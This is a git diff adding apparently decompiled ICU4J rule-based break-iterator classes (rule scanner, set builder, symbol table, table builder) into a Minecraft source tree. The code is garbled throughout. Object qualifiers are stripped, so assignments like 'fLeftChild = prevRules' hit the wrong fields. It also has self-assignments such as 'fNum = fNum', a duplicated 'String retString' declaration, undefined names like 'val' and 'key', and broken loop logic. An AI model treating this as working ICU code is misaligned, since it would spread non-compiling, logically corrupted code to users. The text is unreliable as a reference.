+        RBBINode prevRules = fRB.fTreeRoots[destRules];
+        RBBINode orNode = pushNewNode(9);
+        fLeftChild = prevRules;
+        fParent = orNode;
+        fRightChild = thisRule;
+        fParent = orNode;
+        fRB.fTreeRoots[destRules] = orNode;
+      }
+      else
+      {
+        fRB.fTreeRoots[destRules] = fNodeStack[fNodeStackPtr];
+      }
+      fReverseRule = false;
+      fLookAheadRule = false;
+      fNodeStackPtr = 0;
+      
+      break;
+    
+    case 18: 
+      error(66052);
+      returnVal = false;
+      break;
+    
+    case 31: 
+      error(66052);
+      break;
+    
+
+
+
+
+
+
+    case 28: 
+      RBBINode operandNode = fNodeStack[(fNodeStackPtr--)];
+      RBBINode plusNode = pushNewNode(11);
+      fLeftChild = operandNode;
+      fParent = plusNode;
+      
+      break;
+    
+    case 29: 
+      RBBINode operandNode = fNodeStack[(fNodeStackPtr--)];
+      RBBINode qNode = pushNewNode(12);
+      fLeftChild = operandNode;
+      fParent = qNode;
+      
+      break;
+    
+    case 30: 
+      RBBINode operandNode = fNodeStack[(fNodeStackPtr--)];
+      RBBINode starNode = pushNewNode(10);
+      fLeftChild = operandNode;
+      fParent = starNode;
+      
+      break;
+    
+
+
+
+
+
+
+
+    case 17: 
+      n = pushNewNode(0);
+      String s = String.valueOf((char)fC.fChar);
+      findSetFor(s, n, null);
+      fFirstPos = fScanIndex;
+      fLastPos = fNextIndex;
+      fText = fRB.fRules.substring(fFirstPos, fLastPos);
+      break;
+    
+
+
+
+    case 2: 
+      n = pushNewNode(0);
+      findSetFor(kAny, n, null);
+      fFirstPos = fScanIndex;
+      fLastPos = fNextIndex;
+      fText = fRB.fRules.substring(fFirstPos, fLastPos);
+      break;
+    
+
+
+
+    case 21: 
+      n = pushNewNode(4);
+      fVal = fRuleNum;
+      fFirstPos = fScanIndex;
+      fLastPos = fNextIndex;
+      fText = fRB.fRules.substring(fFirstPos, fLastPos);
+      fLookAheadRule = true;
+      break;
+    
+
+
+    case 23: 
+      n = pushNewNode(5);
+      fVal = 0;
+      fFirstPos = fScanIndex;
+      fLastPos = fNextIndex;
+      break;
+    
+
+
+    case 25: 
+      n = fNodeStack[fNodeStackPtr];
+      int v = UCharacter.digit((char)fC.fChar, 10);
+      fVal = (fVal * 10 + v);
+      break;
+    
+
+    case 27: 
+      n = fNodeStack[fNodeStackPtr];
+      fLastPos = fNextIndex;
+      fText = fRB.fRules.substring(fFirstPos, fLastPos);
+      break;
+    
+    case 26: 
+      error(66062);
+      returnVal = false;
+      break;
+    
+
+    case 15: 
+      fOptionStart = fScanIndex;
+      break;
+    
+    case 14: 
+      String opt = fRB.fRules.substring(fOptionStart, fScanIndex);
+      if (opt.equals("chain")) {
+        fRB.fChainRules = true;
+      } else if (opt.equals("LBCMNoChain")) {
+        fRB.fLBCMNoChain = true;
+      } else if (opt.equals("forward")) {
+        fRB.fDefaultTree = 0;
+      } else if (opt.equals("reverse")) {
+        fRB.fDefaultTree = 1;
+      } else if (opt.equals("safe_forward")) {
+        fRB.fDefaultTree = 2;
+      } else if (opt.equals("safe_reverse")) {
+        fRB.fDefaultTree = 3;
+      } else if (opt.equals("lookAheadHardBreak")) {
+        fRB.fLookAheadHardBreak = true;
+      } else {
+        error(66061);
+      }
+      break;
+    
+
+    case 16: 
+      fReverseRule = true;
+      break;
+    
+    case 24: 
+      n = pushNewNode(2);
+      fFirstPos = fScanIndex;
+      break;
+    
+    case 5: 
+      n = fNodeStack[fNodeStackPtr];
+      if ((n == null) || (fType != 2)) {
+        error(66049);
+      }
+      else {
+        fLastPos = fScanIndex;
+        fText = fRB.fRules.substring(fFirstPos + 1, fLastPos);
+        
+
+
+
+
+
+
+        fLeftChild = fSymbolTable.lookupNode(fText); }
+      break;
+    
+    case 1: 
+      n = fNodeStack[fNodeStackPtr];
+      if (fLeftChild == null) {
+        error(66058);
+        returnVal = false;
+      }
+      
+
+      break;
+    case 8: 
+      break;
+    case 19: 
+      error(66054);
+      returnVal = false;
+      break;
+    
+    case 6: 
+      returnVal = false;
+      break;
+    
+    case 20: 
+      scanSet();
+      break;
+    
+    default: 
+      error(66049);
+      returnVal = false;
+    }
+    
+    return returnVal;
+  }
+  
+
+
+
+
+
+  void error(int e)
+  {
+    String s = "Error " + e + " at line " + fLineNum + " column " + fCharNum;
+    
+    IllegalArgumentException ex = new IllegalArgumentException(s);
+    throw ex;
+  }
+  
+
+
+
+
+
+
+
+
+  void fixOpStack(int p)
+  {
+    RBBINode n;
+    
+
+
+
+
+
+
+
+    for (;;)
+    {
+      n = fNodeStack[(fNodeStackPtr - 1)];
+      if (fPrecedence == 0) {
+        System.out.print("RBBIRuleScanner.fixOpStack, bad operator node");
+        error(66049);
+        return;
+      }
+      
+      if ((fPrecedence < p) || (fPrecedence <= 2)) {
+        break;
+      }
+      
+
+
+
+
+      fRightChild = fNodeStack[fNodeStackPtr];
+      fNodeStack[fNodeStackPtr].fParent = n;
+      fNodeStackPtr -= 1;
+    }
+    
+
+    if (p <= 2)
+    {
+
+
+
+
+      if (fPrecedence != p)
+      {
+
+        error(66056);
+      }
+      fNodeStack[(fNodeStackPtr - 1)] = fNodeStack[fNodeStackPtr];
+      fNodeStackPtr -= 1;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  void findSetFor(String s, RBBINode node, UnicodeSet setToAdopt)
+  {
+    RBBISetTableEl el = (RBBISetTableEl)fSetTable.get(s);
+    if (el != null) {
+      fLeftChild = val;
+      Assert.assrt(fLeftChild.fType == 1);
+      return;
+    }
+    
+
+
+
+    if (setToAdopt == null) {
+      if (s.equals(kAny)) {
+        setToAdopt = new UnicodeSet(0, 1114111);
+      }
+      else {
+        int c = UTF16.charAt(s, 0);
+        setToAdopt = new UnicodeSet(c, c);
+      }
+    }
+    
+
+
+
+
+
+    RBBINode usetNode = new RBBINode(1);
+    fInputSet = setToAdopt;
+    fParent = node;
+    fLeftChild = usetNode;
+    fText = s;
+    
+
+
+
+    fRB.fUSetNodes.add(usetNode);
+    
+
+
+
+    el = new RBBISetTableEl();
+    key = s;
+    val = usetNode;
+    fSetTable.put(key, el);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static String stripRules(String rules)
+  {
+    StringBuilder strippedRules = new StringBuilder();
+    int rulesLength = rules.length();
+    for (int idx = 0; idx < rulesLength;) {
+      char ch = rules.charAt(idx++);
+      if (ch == '#')
+      {
+        while ((idx < rulesLength) && (ch != '\r') && (ch != '\n') && (ch != '…')) {
+          ch = rules.charAt(idx++);
+        }
+      }
+      if (!UCharacter.isISOControl(ch)) {
+        strippedRules.append(ch);
+      }
+    }
+    return strippedRules.toString();
+  }
+  
+
+
+
+
+
+
+
+
+  int nextCharLL()
+  {
+    if (fNextIndex >= fRB.fRules.length()) {
+      return -1;
+    }
+    int ch = UTF16.charAt(fRB.fRules, fNextIndex);
+    fNextIndex = UTF16.moveCodePointOffset(fRB.fRules, fNextIndex, 1);
+    
+    if ((ch == 13) || (ch == 133) || (ch == 8232) || ((ch == 10) && (fLastChar != 13)))
+    {
+
+
+
+
+      fLineNum += 1;
+      fCharNum = 0;
+      if (fQuoteMode) {
+        error(66057);
+        fQuoteMode = false;
+      }
+      
+
+    }
+    else if (ch != 10) {
+      fCharNum += 1;
+    }
+    
+    fLastChar = ch;
+    return ch;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  void nextChar(RBBIRuleChar c)
+  {
+    fScanIndex = fNextIndex;
+    fChar = nextCharLL();
+    fEscaped = false;
+    
+
+
+
+
+    if (fChar == 39) {
+      if (UTF16.charAt(fRB.fRules, fNextIndex) == 39) {
+        fChar = nextCharLL();
+        fEscaped = true;
+
+      }
+      else
+      {
+        fQuoteMode = (!fQuoteMode);
+        if (fQuoteMode == true) {
+          fChar = 40;
+        } else {
+          fChar = 41;
+        }
+        fEscaped = false;
+        return;
+      }
+    }
+    
+    if (fQuoteMode) {
+      fEscaped = true;
+    }
+    else
+    {
+      if (fChar == 35)
+      {
+
+        for (;;)
+        {
+
+
+          fChar = nextCharLL();
+          if ((fChar != -1) && (fChar != 13) && (fChar != 10) && (fChar != 133)) { if (fChar == 8232) {
+              break;
+            }
+          }
+        }
+      }
+      
+
+
+
+      if (fChar == -1) {
+        return;
+      }
+      
+
+
+
+
+      if (fChar == 92) {
+        fEscaped = true;
+        int[] unescapeIndex = new int[1];
+        unescapeIndex[0] = fNextIndex;
+        fChar = Utility.unescapeAt(fRB.fRules, unescapeIndex);
+        if (unescapeIndex[0] == fNextIndex) {
+          error(66050);
+        }
+        
+        fCharNum += unescapeIndex[0] - fNextIndex;
+        fNextIndex = unescapeIndex[0];
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  void parse()
+  {
+    int state = 1;
+    nextChar(fC);
+    
+
+
+
+
+
+
+
+
+
+
+    while (state != 0)
+    {
+
+
+
+
+
+
+
+
+      RBBIRuleParseTable.RBBIRuleTableElement tableEl = RBBIRuleParseTable.gRuleParseStateTable[state];
+      if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("scan") >= 0)) {
+        System.out.println("char, line, col = ('" + (char)fC.fChar + "', " + fLineNum + ", " + fCharNum + "    state = " + fStateName);
+      }
+      
+
+
+      for (int tableRow = state;; tableRow++) {
+        tableEl = RBBIRuleParseTable.gRuleParseStateTable[tableRow];
+        if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("scan") >= 0)) {
+          System.out.print(".");
+        }
+        if ((fCharClass < 127) && (!fC.fEscaped) && (fCharClass == fC.fChar)) {
+          break;
+        }
+        
+
+
+
+        if (fCharClass == 255) {
+          break;
+        }
+        
+        if ((fCharClass == 254) && (fC.fEscaped)) {
+          break;
+        }
+        
+        if ((fCharClass == 253) && (fC.fEscaped) && ((fC.fChar == 80) || (fC.fChar == 112))) {
+          break;
+        }
+        
+
+        if ((fCharClass == 252) && (fC.fChar == -1)) {
+          break;
+        }
+        
+
+        if ((fCharClass >= 128) && (fCharClass < 240) && (!fC.fEscaped) && (fC.fChar != -1))
+        {
+
+          UnicodeSet uniset = fRuleSets[(fCharClass - 128)];
+          if (uniset.contains(fC.fChar)) {
+            break;
+          }
+        }
+      }
+      
+
+
+      if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("scan") >= 0)) {
+        System.out.println("");
+      }
+      
+
+
+
+      if (!doParseActions(fAction)) {
+        break;
+      }
+      
+
+
+
+      if (fPushState != 0) {
+        fStackPtr += 1;
+        if (fStackPtr >= 100) {
+          System.out.println("RBBIRuleScanner.parse() - state stack overflow.");
+          error(66049);
+        }
+        fStack[fStackPtr] = fPushState;
+      }
+      
+      if (fNextChar) {
+        nextChar(fC);
+      }
+      
+
+
+      if (fNextState != 255) {
+        state = fNextState;
+      } else {
+        state = fStack[fStackPtr];
+        fStackPtr -= 1;
+        if (fStackPtr < 0) {
+          System.out.println("RBBIRuleScanner.parse() - state stack underflow.");
+          error(66049);
+        }
+      }
+    }
+    
+
+
+
+
+    if (fRB.fTreeRoots[1] == null) {
+      fRB.fTreeRoots[1] = pushNewNode(10);
+      RBBINode operand = pushNewNode(0);
+      findSetFor(kAny, operand, null);
+      fRB.fTreeRoots[1].fLeftChild = operand;
+      fParent = fRB.fTreeRoots[1];
+      fNodeStackPtr -= 2;
+    }
+    
+
+
+
+
+
+    if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("symbols") >= 0)) {
+      fSymbolTable.rbbiSymtablePrint();
+    }
+    if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("ptree") >= 0)) {
+      System.out.println("Completed Forward Rules Parse Tree...");
+      fRB.fTreeRoots[0].printTree(true);
+      System.out.println("\nCompleted Reverse Rules Parse Tree...");
+      fRB.fTreeRoots[1].printTree(true);
+      System.out.println("\nCompleted Safe Point Forward Rules Parse Tree...");
+      if (fRB.fTreeRoots[2] == null) {
+        System.out.println("  -- null -- ");
+      } else {
+        fRB.fTreeRoots[2].printTree(true);
+      }
+      System.out.println("\nCompleted Safe Point Reverse Rules Parse Tree...");
+      if (fRB.fTreeRoots[3] == null) {
+        System.out.println("  -- null -- ");
+      } else {
+        fRB.fTreeRoots[3].printTree(true);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  void printNodeStack(String title)
+  {
+    System.out.println(title + ".  Dumping node stack...\n");
+    for (int i = fNodeStackPtr; i > 0; i--) {
+      fNodeStack[i].printTree(true);
+    }
+  }
+  
+
+
+
+
+
+
+  RBBINode pushNewNode(int nodeType)
+  {
+    fNodeStackPtr += 1;
+    if (fNodeStackPtr >= 100) {
+      System.out.println("RBBIRuleScanner.pushNewNode - stack overflow.");
+      error(66049);
+    }
+    fNodeStack[fNodeStackPtr] = new RBBINode(nodeType);
+    return fNodeStack[fNodeStackPtr];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  void scanSet()
+  {
+    UnicodeSet uset = null;
+    
+    ParsePosition pos = new ParsePosition(fScanIndex);
+    
+
+    int startPos = fScanIndex;
+    try {
+      uset = new UnicodeSet(fRB.fRules, pos, fSymbolTable, 1);
+    }
+    catch (Exception e) {
+      error(66063);
+    }
+    
+
+
+    if (uset.isEmpty())
+    {
+
+
+
+
+      error(66060);
+    }
+    
+
+
+
+    int i = pos.getIndex();
+    
+    while (fNextIndex < i)
+    {
+
+      nextCharLL();
+    }
+    
+
+
+    RBBINode n = pushNewNode(0);
+    fFirstPos = startPos;
+    fLastPos = fNextIndex;
+    fText = fRB.fRules.substring(fFirstPos, fLastPos);
+    
+
+
+
+
+
+    findSetFor(fText, n, uset);
+  }
+  
+  static class RBBISetTableEl
+  {
+    String key;
+    RBBINode val;
+    
+    RBBISetTableEl() {}
+  }
+  
+  static class RBBIRuleChar
+  {
+    int fChar;
+    boolean fEscaped;
+    
+    RBBIRuleChar() {}
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RBBISetBuilder.java b/src/minecraft/com/ibm/icu/text/RBBISetBuilder.java
new file mode 100644
index 0000000..a35fcdb
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RBBISetBuilder.java
@@ -0,0 +1,560 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Assert;
+import com.ibm.icu.impl.IntTrieBuilder;
+import com.ibm.icu.impl.TrieBuilder.DataManipulate;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RBBISetBuilder
+{
+  RBBIRuleBuilder fRB;
+  RangeDescriptor fRangeList;
+  IntTrieBuilder fTrie;
+  int fTrieSize;
+  int fGroupCount;
+  boolean fSawBOF;
+  
+  static class RangeDescriptor
+  {
+    int fStartChar;
+    int fEndChar;
+    int fNum;
+    List<RBBINode> fIncludesSets;
+    RangeDescriptor fNext;
+    
+    RangeDescriptor()
+    {
+      fIncludesSets = new ArrayList();
+    }
+    
+    RangeDescriptor(RangeDescriptor other) {
+      fStartChar = fStartChar;
+      fEndChar = fEndChar;
+      fNum = fNum;
+      fIncludesSets = new ArrayList(fIncludesSets);
+    }
+    
+
+
+
+
+    void split(int where)
+    {
+      Assert.assrt((where > fStartChar) && (where <= fEndChar));
+      RangeDescriptor nr = new RangeDescriptor(this);
+      
+
+
+      fStartChar = where;
+      fEndChar = (where - 1);
+      fNext = fNext;
+      fNext = nr;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    void setDictionaryFlag()
+    {
+      for (int i = 0; i < fIncludesSets.size(); i++) {
+        RBBINode usetNode = (RBBINode)fIncludesSets.get(i);
+        String setName = "";
+        RBBINode setRef = fParent;
+        if (setRef != null) {
+          RBBINode varRef = fParent;
+          if ((varRef != null) && (fType == 2)) {
+            setName = fText;
+          }
+        }
+        if (setName.equals("dictionary")) {
+          fNum |= 0x4000;
+          break;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  RBBISetBuilder(RBBIRuleBuilder rb)
+  {
+    fRB = rb;
+  }
+  
+
+
+
+
+
+
+
+
+  void build()
+  {
+    if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("usets") >= 0)) { printSets();
+    }
+    
+
+
+    fRangeList = new RangeDescriptor();
+    fRangeList.fStartChar = 0;
+    fRangeList.fEndChar = 1114111;
+    
+
+
+
+    for (RBBINode usetNode : fRB.fUSetNodes) {
+      UnicodeSet inputSet = fInputSet;
+      int inputSetRangeCount = inputSet.getRangeCount();
+      int inputSetRangeIndex = 0;
+      RangeDescriptor rlRange = fRangeList;
+      
+
+      while (inputSetRangeIndex < inputSetRangeCount)
+      {
+
+        int inputSetRangeBegin = inputSet.getRangeStart(inputSetRangeIndex);
+        int inputSetRangeEnd = inputSet.getRangeEnd(inputSetRangeIndex);
+        
+
+
+        while (fEndChar < inputSetRangeBegin) {
+          rlRange = fNext;
+        }
+        
+
+
+
+
+
+
+        if (fStartChar < inputSetRangeBegin) {
+          rlRange.split(inputSetRangeBegin);
+
+
+
+        }
+        else
+        {
+
+
+          if (fEndChar > inputSetRangeEnd) {
+            rlRange.split(inputSetRangeEnd + 1);
+          }
+          
+
+
+          if (fIncludesSets.indexOf(usetNode) == -1) {
+            fIncludesSets.add(usetNode);
+          }
+          
+
+          if (inputSetRangeEnd == fEndChar) {
+            inputSetRangeIndex++;
+          }
+          rlRange = fNext;
+        }
+      }
+    }
+    if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("range") >= 0)) { printRanges();
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    for (RangeDescriptor rlRange = fRangeList; rlRange != null; rlRange = fNext) {
+      for (RangeDescriptor rlSearchRange = fRangeList; rlSearchRange != rlRange; rlSearchRange = fNext) {
+        if (fIncludesSets.equals(fIncludesSets)) {
+          fNum = fNum;
+          break;
+        }
+      }
+      if (fNum == 0) {
+        fGroupCount += 1;
+        fNum = (fGroupCount + 2);
+        rlRange.setDictionaryFlag();
+        addValToSets(fIncludesSets, fGroupCount + 2);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    String eofString = "eof";
+    String bofString = "bof";
+    
+    for (RBBINode usetNode : fRB.fUSetNodes) {
+      UnicodeSet inputSet = fInputSet;
+      if (inputSet.contains(eofString)) {
+        addValToSet(usetNode, 1);
+      }
+      if (inputSet.contains(bofString)) {
+        addValToSet(usetNode, 2);
+        fSawBOF = true;
+      }
+    }
+    
+
+    if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("rgroup") >= 0)) printRangeGroups();
+    if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("esets") >= 0)) { printSets();
+    }
+    
+
+
+
+
+    fTrie = new IntTrieBuilder(null, 100000, 0, 0, true);
+    
+
+
+
+
+    for (rlRange = fRangeList; rlRange != null; rlRange = fNext) {
+      fTrie.setRange(fStartChar, fEndChar + 1, fNum, true);
+    }
+  }
+  
+
+
+
+  class RBBIDataManipulate
+    implements TrieBuilder.DataManipulate
+  {
+    RBBIDataManipulate() {}
+    
+
+
+    public int getFoldedValue(int start, int offset)
+    {
+      boolean[] inBlockZero = new boolean[1];
+      
+      int limit = start + 1024;
+      while (start < limit) {
+        int value = fTrie.getValue(start, inBlockZero);
+        if (inBlockZero[0] != 0) {
+          start += 32;
+        } else { if (value != 0) {
+            return offset | 0x8000;
+          }
+          start++;
+        }
+      }
+      return 0;
+    } }
+  
+  RBBIDataManipulate dm = new RBBIDataManipulate();
+  
+
+
+
+
+  int getTrieSize()
+  {
+    int size = 0;
+    
+    try
+    {
+      size = fTrie.serialize(null, true, dm);
+    } catch (IOException e) {
+      Assert.assrt(false);
+    }
+    return size;
+  }
+  
+
+
+
+
+  void serializeTrie(OutputStream os)
+    throws IOException
+  {
+    fTrie.serialize(os, true, dm);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  void addValToSets(List<RBBINode> sets, int val)
+  {
+    for (RBBINode usetNode : sets) {
+      addValToSet(usetNode, val);
+    }
+  }
+  
+  void addValToSet(RBBINode usetNode, int val) {
+    RBBINode leafNode = new RBBINode(3);
+    fVal = val;
+    if (fLeftChild == null) {
+      fLeftChild = leafNode;
+      fParent = usetNode;
+
+    }
+    else
+    {
+      RBBINode orNode = new RBBINode(9);
+      fLeftChild = fLeftChild;
+      fRightChild = leafNode;
+      fLeftChild.fParent = orNode;
+      fRightChild.fParent = orNode;
+      fLeftChild = orNode;
+      fParent = usetNode;
+    }
+  }
+  
+
+
+
+
+
+  int getNumCharCategories()
+  {
+    return fGroupCount + 3;
+  }
+  
+
+
+
+
+
+  boolean sawBOF()
+  {
+    return fSawBOF;
+  }
+  
+
+
+
+
+
+
+
+  int getFirstChar(int category)
+  {
+    int retVal = -1;
+    for (RangeDescriptor rlRange = fRangeList; rlRange != null; rlRange = fNext) {
+      if (fNum == category) {
+        retVal = fStartChar;
+        break;
+      }
+    }
+    return retVal;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  void printRanges()
+  {
+    System.out.print("\n\n Nonoverlapping Ranges ...\n");
+    for (RangeDescriptor rlRange = fRangeList; rlRange != null; rlRange = fNext) {
+      System.out.print(" " + fNum + "   " + fStartChar + "-" + fEndChar);
+      
+      for (int i = 0; i < fIncludesSets.size(); i++) {
+        RBBINode usetNode = (RBBINode)fIncludesSets.get(i);
+        String setName = "anon";
+        RBBINode setRef = fParent;
+        if (setRef != null) {
+          RBBINode varRef = fParent;
+          if ((varRef != null) && (fType == 2)) {
+            setName = fText;
+          }
+        }
+        System.out.print(setName);System.out.print("  ");
+      }
+      System.out.println("");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  void printRangeGroups()
+  {
+    int lastPrintedGroupNum = 0;
+    
+    System.out.print("\nRanges grouped by Unicode Set Membership...\n");
+    for (RangeDescriptor rlRange = fRangeList; rlRange != null; rlRange = fNext) {
+      int groupNum = fNum & 0xBFFF;
+      if (groupNum > lastPrintedGroupNum) {
+        lastPrintedGroupNum = groupNum;
+        if (groupNum < 10) System.out.print(" ");
+        System.out.print(groupNum + " ");
+        
+        if ((fNum & 0x4000) != 0) { System.out.print(" <DICT> ");
+        }
+        for (int i = 0; i < fIncludesSets.size(); i++) {
+          RBBINode usetNode = (RBBINode)fIncludesSets.get(i);
+          String setName = "anon";
+          RBBINode setRef = fParent;
+          if (setRef != null) {
+            RBBINode varRef = fParent;
+            if ((varRef != null) && (fType == 2)) {
+              setName = fText;
+            }
+          }
+          System.out.print(setName);System.out.print(" ");
+        }
+        
+        i = 0;
+        for (RangeDescriptor tRange = rlRange; tRange != null; tRange = fNext) {
+          if (fNum == fNum) {
+            if (i++ % 5 == 0) {
+              System.out.print("\n    ");
+            }
+            RBBINode.printHex(fStartChar, -1);
+            System.out.print("-");
+            RBBINode.printHex(fEndChar, 0);
+          }
+        }
+        System.out.print("\n");
+      }
+    }
+    System.out.print("\n");
+  }
+  
+
+
+
+
+
+
+
+
+
+  void printSets()
+  {
+    System.out.print("\n\nUnicode Sets List\n------------------\n");
+    for (int i = 0; i < fRB.fUSetNodes.size(); i++)
+    {
+
+
+
+
+      RBBINode usetNode = (RBBINode)fRB.fUSetNodes.get(i);
+      
+
+      RBBINode.printInt(2, i);
+      String setName = "anonymous";
+      RBBINode setRef = fParent;
+      if (setRef != null) {
+        RBBINode varRef = fParent;
+        if ((varRef != null) && (fType == 2)) {
+          setName = fText;
+        }
+      }
+      System.out.print("  " + setName);
+      System.out.print("   ");
+      System.out.print(fText);
+      System.out.print("\n");
+      if (fLeftChild != null) {
+        fLeftChild.printTree(true);
+      }
+    }
+    System.out.print("\n");
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RBBISymbolTable.java b/src/minecraft/com/ibm/icu/text/RBBISymbolTable.java
new file mode 100644
index 0000000..3a7ba01
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RBBISymbolTable.java
@@ -0,0 +1,207 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.lang.UCharacter;
+import java.io.PrintStream;
+import java.text.ParsePosition;
+import java.util.Collection;
+import java.util.HashMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RBBISymbolTable
+  implements SymbolTable
+{
+  String fRules;
+  HashMap<String, RBBISymbolTableEntry> fHashTable;
+  RBBIRuleScanner fRuleScanner;
+  String ffffString;
+  UnicodeSet fCachedSetLookup;
+  
+  RBBISymbolTable(RBBIRuleScanner rs, String rules)
+  {
+    fRules = rules;
+    fRuleScanner = rs;
+    fHashTable = new HashMap();
+    ffffString = "￿";
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public char[] lookup(String s)
+  {
+    RBBISymbolTableEntry el = (RBBISymbolTableEntry)fHashTable.get(s);
+    if (el == null) {
+      return null;
+    }
+    
+
+    RBBINode varRefNode = val;
+    while (fLeftChild.fType == 2) {
+      varRefNode = fLeftChild;
+    }
+    
+    RBBINode exprNode = fLeftChild;
+    String retString; String retString; if (fType == 0)
+    {
+
+
+      RBBINode usetNode = fLeftChild;
+      fCachedSetLookup = fInputSet;
+      retString = ffffString;
+
+    }
+    else
+    {
+
+      fRuleScanner.error(66063);
+      retString = fText;
+      fCachedSetLookup = null;
+    }
+    return retString.toCharArray();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public UnicodeMatcher lookupMatcher(int ch)
+  {
+    UnicodeSet retVal = null;
+    if (ch == 65535) {
+      retVal = fCachedSetLookup;
+      fCachedSetLookup = null;
+    }
+    return retVal;
+  }
+  
+
+
+
+
+
+  public String parseReference(String text, ParsePosition pos, int limit)
+  {
+    int start = pos.getIndex();
+    int i = start;
+    String result = "";
+    while (i < limit) {
+      int c = UTF16.charAt(text, i);
+      if (((i == start) && (!UCharacter.isUnicodeIdentifierStart(c))) || (!UCharacter.isUnicodeIdentifierPart(c))) {
+        break;
+      }
+      
+      i += UTF16.getCharCount(c);
+    }
+    if (i == start) {
+      return result;
+    }
+    pos.setIndex(i);
+    result = text.substring(start, i);
+    return result;
+  }
+  
+
+
+
+
+
+  RBBINode lookupNode(String key)
+  {
+    RBBINode retNode = null;
+    
+
+    RBBISymbolTableEntry el = (RBBISymbolTableEntry)fHashTable.get(key);
+    if (el != null) {
+      retNode = val;
+    }
+    return retNode;
+  }
+  
+
+
+
+
+
+
+  void addEntry(String key, RBBINode val)
+  {
+    RBBISymbolTableEntry e = (RBBISymbolTableEntry)fHashTable.get(key);
+    if (e != null) {
+      fRuleScanner.error(66055);
+      return;
+    }
+    
+    e = new RBBISymbolTableEntry();
+    key = key;
+    val = val;
+    fHashTable.put(key, e);
+  }
+  
+
+
+
+  void rbbiSymtablePrint()
+  {
+    System.out.print("Variable Definitions\nName               Node Val     String Val\n----------------------------------------------------------------------\n");
+    
+
+
+
+    RBBISymbolTableEntry[] syms = (RBBISymbolTableEntry[])fHashTable.values().toArray(new RBBISymbolTableEntry[0]);
+    
+    for (int i = 0; i < syms.length; i++) {
+      RBBISymbolTableEntry s = syms[i];
+      
+      System.out.print("  " + key + "  ");
+      System.out.print("  " + val + "  ");
+      System.out.print(val.fLeftChild.fText);
+      System.out.print("\n");
+    }
+    
+    System.out.println("\nParsed Variable Definitions\n");
+    for (int i = 0; i < syms.length; i++) {
+      RBBISymbolTableEntry s = syms[i];
+      System.out.print(key);
+      val.fLeftChild.printTree(true);
+      System.out.print("\n");
+    }
+  }
+  
+  static class RBBISymbolTableEntry
+  {
+    String key;
+    RBBINode val;
+    
+    RBBISymbolTableEntry() {}
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RBBITableBuilder.java b/src/minecraft/com/ibm/icu/text/RBBITableBuilder.java
new file mode 100644
index 0000000..1e55668
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RBBITableBuilder.java
@@ -0,0 +1,1010 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Assert;
+import com.ibm.icu.lang.UCharacter;
+import java.io.PrintStream;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.SortedSet;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class RBBITableBuilder
+{
+  private RBBIRuleBuilder fRB;
+  private int fRootIx;
+  private List<RBBIStateDescriptor> fDStates;
+  
+  static class RBBIStateDescriptor
+  {
+    boolean fMarked;
+    int fAccepting;
+    int fLookAhead;
+    SortedSet<Integer> fTagVals;
+    int fTagsIdx;
+    Set<RBBINode> fPositions;
+    int[] fDtran;
+    
+    RBBIStateDescriptor(int maxInputSymbol)
+    {
+      fTagVals = new TreeSet();
+      fPositions = new HashSet();
+      fDtran = new int[maxInputSymbol + 1];
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  RBBITableBuilder(RBBIRuleBuilder rb, int rootNodeIx)
+  {
+    fRootIx = rootNodeIx;
+    fRB = rb;
+    fDStates = new ArrayList();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  void build()
+  {
+    if (fRB.fTreeRoots[fRootIx] == null) {
+      return;
+    }
+    
+
+
+
+
+    fRB.fTreeRoots[fRootIx] = fRB.fTreeRoots[fRootIx].flattenVariables();
+    if ((fRB.fDebugEnv != null) && (fRB.fDebugEnv.indexOf("ftree") >= 0)) {
+      System.out.println("Parse tree after flattening variable references.");
+      fRB.fTreeRoots[fRootIx].printTree(true);
+    }
